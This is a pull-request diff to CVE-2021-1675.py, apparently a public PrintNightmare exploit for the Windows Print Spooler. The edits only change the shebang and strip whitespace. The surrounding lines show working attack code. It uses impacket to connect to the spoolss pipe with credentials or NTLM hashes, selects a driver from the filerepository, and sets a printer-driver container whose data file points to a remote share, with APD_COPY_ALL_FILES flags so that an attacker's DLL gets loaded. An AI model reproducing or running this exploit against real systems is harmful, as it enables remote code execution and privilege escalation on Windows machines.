Merge 3cb4354cc7 into d2e96c1dc7

CVE-2021-1675.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python3
+#!/usr/bin/env python3
 from impacket.dcerpc.v5 import rprn
 from impacket.dcerpc.v5 import transport
 from impacket.dcerpc.v5.dtypes import NULL
@@ -20,7 +20,7 @@ class DRIVER_INFO_2_BLOB(Structure):
 
     def __init__(self, data = None):
         Structure.__init__(self, data = data)
-    
+
     def fromString(self, data, offset=0):
         Structure.fromString(self, data)
         self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le')
@@ -43,14 +43,14 @@ class DRIVER_INFO_2_ARRAY(Structure):
 def connect(username, password, domain, lmhash, nthash, address, port):
     binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
     rpctransport = transport.DCERPCTransportFactory(binding)
-    
+
     rpctransport.set_dport(port)
     rpctransport.setRemoteHost(address)
-    
+
     if hasattr(rpctransport, 'set_credentials'):
         # This method exists only for selected protocol sequences.
         rpctransport.set_credentials(username, password, domain, lmhash, nthash)
-    
+
     print("[*] Connecting to {0}".format(binding))
     try:
         dce = rpctransport.get_dce_rpc()
@@ -70,7 +70,7 @@ def getDriver(dce, handle=NULL):
     for i in blobs['drivers']:
         if "filerepository" in i['DriverPathArray'].lower():
             return i
-    
+
     print("[-] Failed to find driver")
     sys.exit(1)
 
@@ -86,7 +86,7 @@ def main(dce, pDriverPath, share, handle=NULL):
     container_info['DriverInfo']['Level2']['pDriverPath']  = pDriverPath + '\x00'
     container_info['DriverInfo']['Level2']['pDataFile']    = "{0}\x00".format(share)
     container_info['DriverInfo']['Level2']['pConfigFile']  = "C:\\Windows\\System32\\winhttp.dll\x00"
-    
+
     flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000
     filename = share.split("\\")[-1]